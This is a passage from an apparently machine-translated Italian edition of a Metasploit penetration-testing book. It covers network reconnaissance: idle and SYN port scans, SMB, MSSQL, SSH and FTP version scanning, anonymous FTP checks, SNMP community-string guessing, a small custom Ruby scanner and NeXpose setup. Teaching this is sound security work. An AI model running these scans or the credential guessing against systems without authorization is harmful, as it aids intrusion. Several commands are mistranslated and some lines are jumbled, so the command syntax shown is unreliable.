come 192.168.1.0/24); più intervalli separati da virgole (come 192.168.1.0/24, 192.168.3.0/24);
e un file di testo con un host per riga (come file:/tmp/hostlist.txt). Tutte queste opzioni ci danno abbastanza
un po' di flessibilità nello specificare i nostri obiettivi.

Il valore THREADS su imposta il numero di thread simultanei da utilizzare durante la scansione. Per impostazione predefinita, tutto
i moduli scanner hanno il loro valore THREADS inizialmente impostato su 1. Possiamo aumentare questo valore per accelerare il nostro
scansiona o abbassalo per ridurre il traffico di rete. In generale, non dovresti impostare un valore di FILETTI maggiore di 16
durante l'esecuzione di Metasploit su Windows e non maggiore di 128 su sistemi operativi simili a UNIX.

Ora impostiamo i nostri valori ed eseguiamo il modulo. Imposteremo il valore per RHOSTS su 192.168.1.0/24, impostiamo
THREADS a 50, quindi eseguire la scansione.

msf ausiliario(ipidseq) > imposta RHOSTS 192.168.1.0/24


RHOSTS => 192.168.1.0/24
msf ausiliario(ipidseq) > imposta FILETTI 50
FILI => 50
msf ausiliario(ipidseq) > esegui

[*] Classe di sequenza IPID di 192.168.1.1: tutti zeri


[*] Classe di sequenza IPID di 192.168.1.10: incrementale!
[*] Scansionato 030 host su 256 (011% completo)
[*] Classe di sequenza IPID di 192.168.1.116: tutti zeri

[*] Classe di sequenza IPID di 192.168.1.109: incrementale!


[*] Scansionato 128 host su 256 (050% completo)
Machine Translated
[*] Classe by Google
di sequenza IPID di 192.168.1.154: incrementale! [*] Classe di
sequenza IPID di 192.168.1.155: incrementale!
[*] Scansione di 155 host su 256 (060% completo) [*] Classe
sequenza IPID 192.168.1.180: Tutti zeri [*] Classe sequenza IPID
192.168.1.181: Incrementale! [*] Classe sequenza IPID di 192.168.1.185:
tutti zeri [*] Classe sequenza IPID di 192.168.1.184: randomizzato [*]
Scansionato 232 host su 256 (090% completo)

[*] Scansione di 256 host su 256 (completati al 100%)


[*] Esecuzione del modulo ausiliario completata msf
ausiliare(ipidseq) >

A giudicare dai risultati della nostra scansione, vediamo una serie di potenziali host inattivi che possiamo utilizzare per
eseguire la scansione inattiva. Proveremo a scansionare un host usando il sistema in 192.168.1.109 mostrato in usando il
flag della riga di comando -sI per specificare l'host inattivo:

msf ausiliario(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155 [*] exec: nmap -PN -sI
192.168.1.109 192.168.1.155

Scansione inattiva con zombie 192.168.1.109 (192.168.1.109:80); Classe: Incrementale Porte interessanti
su 192.168.1.155: Non mostrato: 996 porte chiuse|filtrate PORT STATE SERVICE 135/tcp open msrpc 139/
tcp open netbios-ssn 445/tcp open microsoft-ds Indirizzo MAC: 00:0C:29:E4 :59:7C (VMware)

Nmap fatto: 1 indirizzo IP (1 host attivo) scansionato in 7,12 secondi msf


ausiliario(ipidseq) >

Utilizzando l'host inattivo, siamo stati in grado di scoprire un numero di porte aperte sul nostro sistema di destinazione
senza inviare un singolo pacchetto al sistema.

Esecuzione di Nmap da MSFconsole Ora che

abbiamo eseguito l'enumerazione avanzata sul nostro target, colleghiamo nmap con Metasploit.
Per fare ciò, ci colleghiamo prima al database msfbook:

msf > db_connect postgres:toor@127.0.0.1/ msf3

Ora dovremmo essere in grado di inserire il comando db_nmap da msfconsole per eseguire nmap e avere i suoi risultati
automaticamente archiviati nel nostro nuovo database.

NOTA
Attaccheremo solo un sistema in questa istanza, ma puoi specificare gli IP in base alla notazione CIDR e persino gli intervalli (ad
esempio, 192.168.1.1/24 o 192.168.1.1–254).

msf > db_nmap -sS -A 172.16.32.131

Avvertenza: Traceroute non supporta la scansione inattiva o connessa, disabilitando...


Rapporto di scansione Nmap per 172.16.32.131
Host attivo (latenza 0,00056s).
Non mostrato: 990 porte chiuse PORT
SERVIZIO DI STATO VERSIONE

21/tcp apri ftp Microsoft FTP

25/tcp apri smtp 80/tcp Microsoft ESMTP 6.0.2600.2180 Server


apri http Web Microsoft IIS 5.1
Machine Translated by Google
|_html-titolo:
135/tcp aperto msrpc 139/tcp Microsoft Windows RPC
aperto netbios-ssn
443/tcp aperto https?
445/tcp apri microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc 1433/tcp Microsoft Windows RPC
open ms-sql-s 3389/tcp open microsoft- Microsoft SQL Server 2005 9.00.1399; RTM
rdp Microsoft Terminal Service
Indirizzo MAC: 00:0C:29:EA:26:7C (VMware)
Tipo di dispositivo: uso generale

In esecuzione: Microsoft Windows XP|2003


Dettagli del sistema operativo: Microsoft Windows XP Professional SP2 o Windows Server 2003
Distanza di rete: 1 salto
Informazioni sul servizio: Host: ihazsecurity; Sistema operativo: Windows

Risultati dello script host:


|_nbstat: Nome NetBIOS: IHAZSECURITY, Utente NetBIOS:
<sconosciuto>, NetBIOS MAC: 00:0c:29:ea:26:7c
| smb-os-scoperta:
| Sistema operativo: Windows XP (gestore LAN di Windows 2000)
| Nome: GRUPPO DI LAVORO\SICUREZZA IHAZ
|_smbv2-enabled: il server non supporta il protocollo SMBv2

Rilevamento del sistema operativo e del servizio eseguito. Si prega di segnalare qualsiasi
risultati errati su http://nmap.org/submit/.
Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 33,51 secondi

Notare una serie di porte aperte, versioni software del sistema , e persino una previsione sull'obiettivo

operativo.

Per verificare che i risultati della scansione siano archiviati nel database, eseguiamo db_services:

msf > db_services


Servizi
========

ospite nome del prototipo della porta informazioni sullo stato


---- ---- ----- ---- ----- ----

172.16.32.131 135 tcp msrpc tcp aprire Microsoft Windows RPC


172.16.32.131 139 netbios-ssn aperto
172.16.32.131 445 tcp microsoft-ds apri Microsoft Windows XP microsoft-ds
172.16.32.131 777 172.16.32.131 1433 tcp
tcp sconosciuto
ms-sql-s SQL aprire
Server 2005 9.00.1399; RTM apri Microsoft

Stiamo iniziando a sviluppare un'immagine del nostro obiettivo e delle porte esposte da utilizzare come potenziale attacco
vettori.

Scansione delle porte con Metasploit


Oltre alla sua capacità di utilizzare scanner di terze parti, Metasploit ha diversi scanner di porte integrati
moduli ausiliari che si integrano direttamente con la maggior parte degli aspetti del Framework. Nei capitoli successivi, lo faremo
utilizzare questi scanner di porte per sfruttare i sistemi compromessi per accedere e attaccare; il suo processo, spesso
chiamato pivoting, ci consente di utilizzare sistemi connessi internamente per instradare il traffico verso una rete che lo farebbe
altrimenti essere inaccessibile.

Si supponga, ad esempio, di compromettere un sistema dietro un firewall che utilizza l'indirizzo di rete
Machine Translated
Traduzione by Google
(NAT). Il sistema dietro il firewall basato su NAT utilizza indirizzi IP privati, che non è possibile contattare direttamente da
Internet. Se utilizzi Metasploit per compromettere un sistema dietro un NAT, potresti essere in grado di utilizzare quel sistema interno
compromesso per passare il traffico (pivot) a sistemi basati su IP privati e ospitati internamente per penetrare nella rete più lontano
dal firewall.

Per visualizzare l'elenco degli strumenti di scansione delle porte offerti dal Framework, immettere quanto segue:

msf > cerca portscan

Eseguiamo una semplice scansione di un singolo host utilizzando SYN Port Scanner di Metasploit. Nell'elenco seguente, iniziamo
la scansione con use scanner/portscan/syn, impostiamo RHOSTS su 192.168.1.155, impostiamo THREADS su 50, quindi eseguiamo
la scansione.

msf> usa scanner/portscan/syn


msf ausiliario(syn) > set RHOSTS 192.168.1.155 RHOSTS
=> 192.168.1.155 msf ausiliario(syn) > set FILETTI 50
FILETTI => 50 msf ausiliario(syn) > run

[*] TCP APERTO 192.168.1.155:135 [*]


TCP APERTO 192.168.1.155:139 [*] TCP
APERTO 192.168.1.155:445 [*] Scansionato
1 host su 1 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata msf
ausiliario(syn) >

Dai risultati, puoi vedere che le porte 135, 139 e 445 sono aperte sull'indirizzo IP 192.168.1.155, sfruttando il modulo portscan syn
all'interno di Metasploit.
Machine Translated by Google
Scansione mirata Quando si
esegue un test di penetrazione, non c'è vergogna nel cercare una vittoria facile. Una scansione mirata cerca
sistemi operativi, servizi, versioni di programmi o configurazioni specifici che sono noti per essere sfruttabili e
che forniscono una porta facile in una rete di destinazione. Ad esempio, è comune eseguire rapidamente la
scansione di una rete di destinazione per la vulnerabilità MS08-067, poiché si tratta (ancora) di un buco
estremamente comune che consentirà l'accesso al SISTEMA molto più rapidamente rispetto alla scansione di
un'intera rete di destinazione per le vulnerabilità.

Scansione del blocco dei messaggi del server Metasploit


può perlustrare una rete e tentare di identificare le versioni di Microsoft Windows utilizzando il suo modulo
smb_version.

NOTA

Se non hai familiarità con Server Message Block (SMB, un comune protocollo di condivisione file), studia un po' i diversi protocolli e i loro
scopi prima di continuare. Sarà necessario comprendere le informazioni di base sulla porta per imparare come attaccare un sistema con
successo.

Eseguiamo il modulo, elenchiamo le nostre opzioni, impostiamo RHOSTS e iniziamo la scansione:

msf > usa scanner/smb/smb_version msf


ausiliario(smb_version) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ROST si si L'intervallo di indirizzi di destinazione o l'identificatore CIDR


FILI 1 Il numero di thread simultanei

msf ausiliario (versione_smb) > set RHOSTS 192.168.1.155


RHOSTS => 192.168.1.155 msf
ausiliario(smb_version) > esegui

[*] 192.168.1.155 esegue Windows XP Service Pack 2 (lingua: inglese)


(nome:DOOKIE-FA154354) (dominio:GRUPPO DI LAVORO)
[*] Scansionato 1 host su 1 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata

Come puoi vedere, lo scanner smb_version ha individuato il sistema operativo come Windows XP con Service Pack 2. Poiché stiamo eseguendo la
scansione di un solo sistema, lasciamo THREADS impostato su 1. Se avessimo scansionato un certo numero di sistemi, come una classe Intervallo
di sottorete C, potremmo considerare di aumentare i THREADS usando l' opzione del numero di THREADS impostato . I risultati di questa scansione
vengono archiviati nel database Metasploit per essere utilizzati in un secondo momento e per essere accessibili con il comando db_hosts .

msf ausiliario (versione_smb) > db_hosts -c indirizzo, os_flavor

Ospiti
=====

indirizzo os_flavor Svcs Vulns Workspace


------- --------- ---- ----- ---------
Machine Translated
192.168.1.155 byXP
Windows Google
3 msf ausiliario 0 predefinito
(versione_smb) >

Abbiamo scoperto un sistema che esegue Windows XP senza dover eseguire una scansione completa della rete.
Questo è un ottimo modo per prendere di mira host in modo rapido e silenzioso che potrebbero essere più vulnerabili quando il nostro
l'obiettivo è evitare di essere notato.

A caccia di server Microsoft SQL mal configurati


Installazioni di Microsoft SQL Server (MS SQL) mal configurate spesso forniscono un modo iniziale per a
rete di destinazione. In effetti, molti amministratori di sistema non si rendono nemmeno conto di avere server MS SQL
installato sulle loro workstation, perché il servizio è installato come prerequisito per alcuni
software comuni, come Microsoft Visual Studio. Queste installazioni sono spesso inutilizzate, senza patch,
o mai nemmeno configurato.

Quando MS SQL è installato, è in ascolto per impostazione predefinita sulla porta TCP 1433 o su un TCP dinamico casuale
porta. Se MS SQL è in ascolto su una porta dinamica, è sufficiente interrogare la porta UDP 1434 per scoprire cosa
la porta TCP dinamica MS SQL è in ascolto. Naturalmente, Metasploit ha un modulo che può farne uso
“caratteristica”: mssql_ping.

Poiché mssql_ping utilizza UDP, può essere piuttosto lento l'esecuzione su intere sottoreti a causa di problemi con
timeout. Ma su una LAN locale, l'impostazione di THREADS su 255 accelererà notevolmente la scansione. Come Metasploit
trova i server MS SQL, mostra tutti i dettagli che può estrarre da essi inclusa, forse la maggior parte
importante, la porta TCP su cui il server è in ascolto.

Ecco come eseguire una scansione mssql_ping, che include l'avvio della scansione, l'elenco e l'impostazione
opzioni e risultati.

msf> usa scanner/mssql/mssql_ping


msf ausiliario(mssql_ping) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

PAROLA D'ORDINE No La password per il nome utente specificato


ROST si si L'intervallo di indirizzi di destinazione o l'identificatore CIDR
FILI 1 no Il numero di thread simultanei
USERNAME a Il nome utente con cui autenticarsi
SPAZIO DI LAVORO No Il nome del
spazio di lavoro in cui riportare i dati

msf ausiliario (mssql_ping) > imposta RHOSTS 192.168.1.0/24


RHOSTS => 192.168.1.0/24
msf ausiliario(mssql_ping) > imposta FILETTI 255
FILI => 255
msf ausiliario(mssql_ping) > esegui

[*] Informazioni su SQL Server per 192.168.1.155:


[*] Nomeserver = V-XPSP2-BARE

[*] NomeIstanza = SQLEXPRESS


[*] è a grappolo =n

[*] Versione = 10.0.1600.22

[*] TCP = 1433


Machine Translated by Google
Come puoi vedere, lo scanner non solo individua un server MS SQL al nome dell'istanza , ma identifica anche il
durante l'ascolto. Pensa ,solo a quantodel
la versione tempo farebbe
server risparmiare
SQL su , e ilquesta
numeroscansione
di porta TCP su cui si trova
mirata per i server SQL durante l'esecuzione
nmap contro tutte le porte su tutte le macchine in una sottorete di destinazione alla ricerca dell'elusiva porta TCP.

Scansione del server SSH


Se durante la scansione incontri macchine che eseguono Secure Shell (SSH), dovresti determinare
quale versione è in esecuzione sulla destinazione. SSH è un protocollo sicuro, ma presenta diverse vulnerabilità
sono state individuate le implementazioni. Non sai mai quando potresti essere fortunato e imbatterti in un
vecchia macchina che non è stata aggiornata. È possibile utilizzare il modulo ssh_version del Framework per determinare
la versione SSH in esecuzione sul server di destinazione.
msf> usa scanner/ssh/ssh_version
msf ausiliario(ssh_version) > set THREADS 50
FILI => 50
msf ausiliario(ssh_version) > esegui

[*] 192.168.1.1:22, versione server SSH: SSH-2.0-dropbear_0.52


[*] Scansionato 044 host su 256 (017% completo)
[*] 192.168.1.101:22, versione del server SSH: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
[*] Scansionato 100 host su 256 (039% completo)
[*] 192.168.1.153:22, versione del server SSH: SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
[*] 192.168.1.185:22, versione server SSH: SSH-2.0-OpenSSH_4.3

Questo output ci dice che alcuni server diversi sono in esecuzione con vari livelli di patch. Questa informazione
potrebbe rivelarsi utile se, ad esempio, volessimo attaccare una versione specifica di OpenSSH trovata con
la scansione ssh_version.

Scansione FTP
FTP è un protocollo complicato e insicuro. I server FTP sono spesso il modo più semplice per accedere a una destinazione
rete e dovresti sempre cercare, identificare e impronte digitali qualsiasi server FTP in esecuzione sul tuo
obbiettivo.

Successivamente, eseguiamo la scansione della nostra casella XP per i servizi FTP utilizzando il modulo ftp_version del Framework:

msf > usa scanner/ftp/ftp_version


msf ausiliario(versione_ftp) > mostra le opzioni

Opzioni del modulo:

Nome Impostazioni correnti Descrizione richiesta


---- --------------- -------- -----------

FTPPASS mozilla@example.com non La password per il nome utente specificato


UTENTE FTP anonimo No Il nome utente con cui autenticarsi
ROST sì Il bersaglio
intervallo di indirizzi o identificatore CIDR
RAPPORTO 21 si si La porta di destinazione
FILI 1 Il numero di thread simultanei
WORKSPACE No Il nome di
l'area di lavoro in cui riportare i dati

msf ausiliario (versione_ftp) > imposta RHOSTS 192.168.1.0/24


RHOSTS => 192.168.1.0/24
msf ausiliario (versione_ftp) > imposta FILETTI 255
FILETTI
Machine => 255by Google
Translated
msf ausiliario(versione_ftp) > esegui

[*] 192.168.1.155:21 Banner FTP: Minftpd pronto

.
Lo scanner identifica correttamente un server FTP su Ora vediamo se questo server FTP consente accessi
anonimi utilizzando scanner/ftp/anonymous del Framework.
msf > usa ausiliario/scanner/ftp/anonimo msf
ausiliario(anonimo) > set RHOSTS 192.168.1.0/24 RHOSTS =>
192.168.1.0/24 msf ausiliario(anonimo) > set FILETTI 50 FILETTI =>
50 msf ausiliario(anonimo) > correre

[*] Scansionato 045 host su 256 (017% completo)


[*] 192.168.1.155:21 READ/WRITE anonimo (220 Minftpd pronto)

Lo scanner segnala che l'accesso anonimo è consentito e che gli utenti anonimi hanno accesso sia in lettura che in
scrittura al server; in altre parole, abbiamo pieno accesso al sistema remoto e la possibilità di caricare o scaricare
qualsiasi file a cui è possibile accedere dal software del server FTP.

Semplice scansione del protocollo di gestione della rete


Il protocollo SNMP (Simple Network Management Protocol) viene in genere utilizzato nei dispositivi di rete per
segnalare informazioni quali l'utilizzo della larghezza di banda, i tassi di collisione e altre informazioni. Tuttavia,
alcuni sistemi operativi dispongono anche di server SNMP in grado di fornire informazioni quali l'utilizzo della CPU,
la memoria libera e altri dettagli specifici del sistema.
La comodità per l'amministratore di sistema può essere una miniera d'oro per il penetration tester e i server SNMP
accessibili possono offrire informazioni considerevoli su un sistema specifico o addirittura rendere possibile la
compromissione di un dispositivo remoto. Se, ad esempio, è possibile ottenere la stringa della community SNMP di
lettura/scrittura per un router Cisco, è possibile scaricare l'intera configurazione del router, modificarla e caricarla nuovam
router.

Metasploit Framework include un modulo ausiliario integrato chiamato scanner/snmp/snmp_enum progettato


specificamente per le scansioni SNMP. Prima di avviare la scansione, tieni presente che le stringhe della community
di sola lettura (RO) e lettura/scrittura (RW) svolgeranno un ruolo importante nel tipo di informazioni che potrai estrarre
da un determinato dispositivo. Sui dispositivi basati su Windows configurati con SNMP, è spesso possibile utilizzare
le stringhe della community RO o RW per estrarre livelli di patch, servizi in esecuzione, nomi utente, tempo di attività,
percorsi e altre informazioni che possono semplificare notevolmente le cose durante un pen test. (Le stringhe della
community sono essenzialmente password utilizzate per richiedere informazioni a un dispositivo o per scrivere
informazioni di configurazione sul dispositivo.)
Dopo aver indovinato le stringhe della community, lo stesso SNMP (a seconda della versione) può consentire
qualsiasi cosa, dalla divulgazione eccessiva di informazioni alla compromissione completa del sistema. SNMPv1 e
v2 sono protocolli intrinsecamente difettosi. SNMPv3, che incorpora la crittografia e migliori meccanismi di controllo,
è notevolmente più sicuro. Per ottenere l'accesso a uno switch, devi prima provare a trovare le stringhe della
community. Il modulo use scanner/snmp/snmp_login del Framework proverà un elenco di parole contro uno o un
intervallo di indirizzi IP.
msf > usa usa scanner/snmp/snmp_login msf
ausiliario(snmp_login) > imposta RHOSTS 192.168.1.0/24
RHOSTS
Machine => 192.168.1.0/24
Translated by Google msf
ausiliario(snmp_login) > set FILETTI 50 FILETTI => 50
msf ausiliario(snmp_login) > esegui

[*] >> avanzamento (192.168.1.0-192.168.1.255) 0/30208...


[*] 192.168.1.2 'pubblico' 'Switch Gigabit gestito GSM7224 L2'
[*] 192.168.1.2 'privato' 'Switch Gigabit gestito GSM7224 L2'
[*] Esecuzione del modulo ausiliario completata msf
ausiliario(snmp_login) >

Una rapida ricerca su Google per GSM7224 dall'output ci dice che lo scanner ha trovato le stringhe della
comunità pubblica e privata per uno switch Netgear. Questo risultato, che tu ci creda o no, non è stato messo in
scena per questo libro. Queste sono le impostazioni di fabbrica predefinite per questo interruttore.
Incontrerai molte situazioni sbalorditive come queste durante la tua carriera di test con la penna, perché molti
amministratori collegano semplicemente i dispositivi a una rete con tutte le impostazioni predefinite ancora in vigore.
La situazione è ancora più spaventosa quando trovi questi dispositivi accessibili da Internet all'interno di una grande
azienda.
Machine Translated by Google
Scrivere uno scanner personalizzato Molte
applicazioni e servizi non dispongono di moduli personalizzati in Metasploit. Per fortuna, il Framework ha molte
funzionalità che possono essere utili durante la creazione di uno scanner personalizzato, inclusa l'offerta di
accesso a tutte le sue classi e metodi di exploit e il supporto per proxy, Secure Sockets Layer (SSL), reporting e
threading. Può essere molto utile scrivere il tuo scanner durante le valutazioni di sicurezza, perché così facendo
ti consentirà di individuare rapidamente ogni istanza di una password errata o di un servizio senza patch su un
sistema di destinazione.

I moduli scanner Metasploit Framework includono vari mixin, come exploit mixin per TCP, SMB e così via, e il
mixin scanner ausiliario integrato nel Framework. I mixin sono porzioni di codice con funzioni e chiamate predefinite
preconfigurate per te. Il mixin ausiliario::Scanner sovraccarica il metodo di esecuzione ausiliaria; chiama il metodo
del modulo in fase di esecuzione con run_host(ip), run_range(range) o run_batch(batch); e quindi elabora gli
indirizzi IP. Possiamo sfruttare Auxiliary::Scanner per chiamare funzionalità Metasploit aggiuntive e integrate.

Di seguito è riportato uno script Ruby per un semplice scanner TCP che si collegherà a un host remoto su una
porta predefinita 12345 e, al momento della connessione, invia "HELLO SERVER", riceve la risposta del server e
la stampa insieme all'indirizzo IP del server.
#Metasploit
richiede la classe 'msf/
core' Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

include Msf::Auxiliary::Scanner def initialize


super(

'Nome' => 'La mia scansione TCP personalizzata',


'Versione' => '$Revisione: 1 $',
'Descrizione' => 'Il mio scanner rapido',
'Autore' => 'Il tuo nome qui',
'Licenza' => MSF_LICENZA

) opzioni_registro( [

Opt::RPORT(12345) ],
self.class)
fine

def run_host(ip)
connect()

sock.puts('HELLO SERVER') data =


sock.recv(1024)

print_status("Ricevuto: #{data} da #{ip}") Disconnect()

fine
fine

Questo semplice scanner utilizza il mixin Msf::Exploit::Remote::Tcp per gestire la rete TCP e il mixin
Msf::Auxiliary::Scanner espone le varie impostazioni richieste per gli scanner all'interno del Framework
. Questo scanner è configurato per utilizzare la porta predefinita 12345 e al momento
, della connessione
Machine Translated by Google
al server, invia un messaggio , riceve la risposta dal server e quindi lo stampa su
schermo insieme all'indirizzo IP del server .

Abbiamo salvato questo script personalizzato in modules/auxiliary/scanner/ come simple_tcp.rb. Il salvato


la posizione è importante in Metasploit. Ad esempio, se il modulo è salvato in
moduli/ausiliario/scanner/http/, verrebbe visualizzato nell'elenco dei moduli come scanner/http/simple_tcp.

Per testare questo scanner rudimentale, abbiamo impostato un listener netcat sulla porta 12345 e pipe in un file di testo per agire
come risposta del server.

root@bt:/# echo "Hello Metasploit" > banner.txt


root@bt:/# nc -lvnp 12345 < banner.txt
ascolto su [qualsiasi] 12345...

Successivamente, carichiamo msfconsole, selezioniamo il nostro modulo scanner, ne impostiamo i parametri ed eseguiamolo per vedere se è così
lavori.

msf > usa ausiliario/scanner/simple_tcp


msf ausiliario(simple_tcp) > mostra le opzioni

Opzioni del modulo:

Nome Impostazione attuale richiesta Descrizione


---- --------------- -------- -----------

ROST sì L'intervallo di indirizzi di destinazione o l'identificatore CIDR


RAPPORTO 12345 sì sì La porta di destinazione
FILI 1 Il numero di thread simultanei

msf ausiliario(simple_tcp) > set RHOSTS 192.168.1.101


RHOSTS => 192.168.1.101
msf ausiliario(simple_tcp) > esegui

[*] Ricevuto: Hello Metasploit da 192.168.1.101


[*] Scansionato 1 host su 1 (completato al 100%)
[*] Esecuzione del modulo ausiliario completata
msf ausiliario(semplice_tcp) >

Sebbene questo sia solo un semplice esempio, il livello di versatilità offerto dal Metasploit Framework
può essere di grande aiuto quando è necessario ottenere un codice personalizzato attivo e funzionante rapidamente in
nel bel mezzo di un test con la penna. Si spera che questo semplice esempio dimostri la potenza del Framework e
codice modulare. Ma, ovviamente, non devi fare tutto a mano.
Machine Translated by Google
Guardando al futuro In
questo capitolo, hai imparato come sfruttare il Metasploit Framework per la raccolta di informazioni, come
descritto nel PTES. La raccolta di informazioni richiede pratica e una profonda comprensione di come opera
un'organizzazione e di come identificare i migliori potenziali vettori di attacco. Come per qualsiasi cosa,
dovresti adattare e migliorare le tue metodologie durante la tua carriera nei test di penetrazione. Ricorda
solo che il tuo obiettivo principale in questa fase è conoscere l'organizzazione che stai attaccando e la sua
impronta generale. Indipendentemente dal fatto che il tuo lavoro avvenga su Internet, su una rete interna, in
modalità wireless o tramite ingegneria sociale, gli obiettivi della raccolta di informazioni saranno sempre gli stes

Nel prossimo capitolo, passeremo a un altro passaggio importante durante la fase di analisi delle
vulnerabilità: la scansione automatizzata delle vulnerabilità. Nei capitoli successivi esploreremo esempi più
approfonditi su come creare i propri moduli, exploit e script Meterpreter.
Machine Translated by Google
Capitolo 4. Scansione delle vulnerabilità Uno scanner
delle vulnerabilità è un programma automatizzato progettato per cercare i punti deboli nei computer,
nei sistemi informatici, nelle reti e nelle applicazioni. Il programma sonda un sistema inviandogli dati su
una rete e analizzando le risposte ricevute, nel tentativo di enumerare eventuali vulnerabilità presenti sul
target utilizzando il suo database di vulnerabilità come riferimento.
Vari sistemi operativi tendono a rispondere in modo diverso quando vengono inviate particolari sonde di rete a
causa delle diverse implementazioni di rete in uso. Queste risposte uniche fungono da impronte digitali che lo
scanner delle vulnerabilità utilizza per determinare la versione del sistema operativo e persino il livello di patch.
Uno scanner di vulnerabilità può anche utilizzare un determinato set di credenziali utente per accedere al sistema
remoto ed enumerare il software e i servizi per determinare se sono stati corretti. Con i risultati ottenuti, lo scanner
presenta un report in cui vengono evidenziate le eventuali vulnerabilità rilevate nel sistema. Tale rapporto può
essere utile sia per gli amministratori di rete che per i tester di penetrazione.
Gli scanner di vulnerabilità generalmente creano molto traffico su una rete e quindi non vengono generalmente
utilizzati in un test di penetrazione quando uno degli obiettivi è non essere rilevato. Se, tuttavia, stai eseguendo
un test di penetrazione e la furtività non è un problema, uno scanner di vulnerabilità può evitarti di dover sondare
manualmente i sistemi per determinarne i livelli di patch e le vulnerabilità.
Indipendentemente dal fatto che utilizzi uno scanner automatizzato o lo faccia manualmente, la scansione è uno
dei passaggi più importanti nel processo di test di penetrazione; se fatto a fondo, fornirà il miglior valore al tuo
cliente. In questo capitolo, discuteremo una serie di scanner di vulnerabilità e come possono essere integrati in
Metasploit. Evidenzieremo alcuni moduli ausiliari nel Metasploit Framework che possono individuare vulnerabilità
specifiche nei sistemi remoti.

La scansione delle vulnerabilità di base Diamo


un'occhiata a come funziona una scansione al livello più elementare. Nel seguente elenco, utilizziamo netcat per
prendere un banner dal target 192.168.1.203. Il banner grabbing è l'atto di connettersi a un servizio di rete remoto
e leggere l'identificazione del servizio (banner) che viene restituito. Molti servizi di rete come web, trasferimento file
e server di posta restituiscono il loro banner immediatamente dopo la connessione o in risposta a un comando
specifico. Qui ci colleghiamo a un server Web sulla porta TCP 80 ed emettiamo una richiesta GET HTTP che ci
consente di guardare le informazioni di intestazione che il server remoto restituisce in risposta alla nostra richiesta.

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Richiesta non valida
Server: Microsoft-IIS/ 5.1

Le informazioni restituite a ci dicono che il sistema in esecuzione sulla porta 80 è un server Web basato su
Microsoft IIS 5.1. Grazie a queste informazioni, potremmo utilizzare uno scanner di vulnerabilità, come mostrato
nella Figura 4-1 , per determinare se questa versione di IIS presenta vulnerabilità associate e se questo particolare
server è stato corretto.
Certo, in pratica, non è così semplice. Le scansioni delle vulnerabilità spesso contengono molti falsi positivi
(vulnerabilità segnalata dove non esiste) e falsi negativi (mancata registrazione di una vulnerabilità dove esiste) a
causa di sottili differenze nelle configurazioni del sistema e dell'applicazione. Inoltre, i creatori di scanner di
vulnerabilità hanno un incentivo a segnalare aspetti positivi: più "colpisce" uno scanner di vulnerabilità
Machine
trova, Translated
migliore sarà by Google per un potenziale acquirente. Gli scanner di vulnerabilità sono validi solo
l'aspetto
quanto il loro database di vulnerabilità e possono essere facilmente ingannati da banner fuorvianti o
configurazioni incoerenti.
Diamo un'occhiata ad alcuni degli scanner di vulnerabilità più utili, inclusi NeXpose, Nessus e alcuni scanner
specializzati.

Figura 4-1. Risultati della scansione delle vulnerabilità rispetto al server Web di destinazione
Machine Translated by Google
Scansione con NeXpose NeXpose è lo
scanner di vulnerabilità di Rapid7 che scansiona le reti per identificare i dispositivi in esecuzione su di
esse ed esegue controlli per identificare i punti deboli della sicurezza nei sistemi operativi e nelle
applicazioni. Quindi analizza i dati di scansione e li elabora per l'inclusione in vari report.
Rapid7 offre più versioni di NeXpose, ma utilizzeremo l'edizione Community perché è gratuita. Se prevedi di utilizzare NeXpose
commercialmente, visita il sito Rapid7 (http://www.rapid7.com/vulnerability scanner.jsp) per informazioni sulle varie versioni, sulle loro
capacità e sui prezzi.

Il nostro obiettivo per la scansione sarà un'installazione predefinita di Windows XP SP2 come configurato nell'Appendice
A. Per prima cosa eseguiremo una scansione aperta di base del nostro obiettivo e importeremo i risultati della scansione delle
vulnerabilità in Metasploit. Chiuderemo questa sezione mostrandoti come eseguire una scansione delle vulnerabilità di NeXpose
direttamente da msfconsole anziché utilizzare la GUI basata sul Web, eliminando la necessità di importare un rapporto di scansione.

Configurazione Dopo aver

installato NeXpose Community, apri un browser web e vai a https://<tuoipaddress>:3780. Accetta


il certificato autofirmato NeXpose e accedi utilizzando le credenziali che hai creato durante l'installazione. Successivamente
dovrebbe essere presentata un'interfaccia simile a quella mostrata nella Figura 4-2. (Troverai le istruzioni complete per l'installazione di
NeXpose sul sito Web di Rapid7.)

Nella pagina principale di NeXpose, noterai una serie di schede nella parte superiore dell'interfaccia:

La scheda Risorse mostra i dettagli dei computer e degli altri dispositivi sulla rete dopo che sono stati scansionati.

La scheda Rapporti elenca i rapporti sulla scansione delle vulnerabilità dopo che sono stati generati.

La scheda Vulnerabilità fornisce dettagli su eventuali vulnerabilità scoperte durante le scansioni.

La scheda Amministrazione consente di configurare varie opzioni.

Figura 4-2. La schermata iniziale iniziale del NeXpose

I pulsanti nel corpo principale della pagina consentono di eseguire attività comuni come la creazione di un nuovo sito o
l'impostazione di una nuova scansione delle vulnerabilità.

La procedura guidata Nuovo sito


Machine
Prima Translated
di eseguire unaby Google delle vulnerabilità con NeXpose, è necessario configurare un sito, una raccolta logica di
scansione
dispositivi come una sottorete specifica, una raccolta di server o persino una singola workstation. Questi siti verranno quindi
scansionati da NeXpose e possono essere definiti diversi tipi di scansione per un determinato sito.

1. Per creare un sito, fare clic sul pulsante Nuovo sito nella home page di NeXpose, immettere un nome per il sito e una breve
descrizione, quindi fare clic su Avanti.

2. Nella fase dei dispositivi, mostrata nella Figura 4-3, hai un po' di granularità nella definizione dei tuoi obiettivi. Puoi
aggiungere un singolo indirizzo IP, intervalli di indirizzi, nomi host e altro. Puoi anche dichiarare i dispositivi, come le
stampanti, da escludere dalle scansioni. (Le stampanti spesso non accettano di essere scansionate. Abbiamo visto casi in
cui una semplice scansione di vulnerabilità ha causato la messa in coda per la stampa di più di un milione di pagine di nero
puro!) Fai clic su Avanti quando hai finito di aggiungere ed escludere dispositivi.

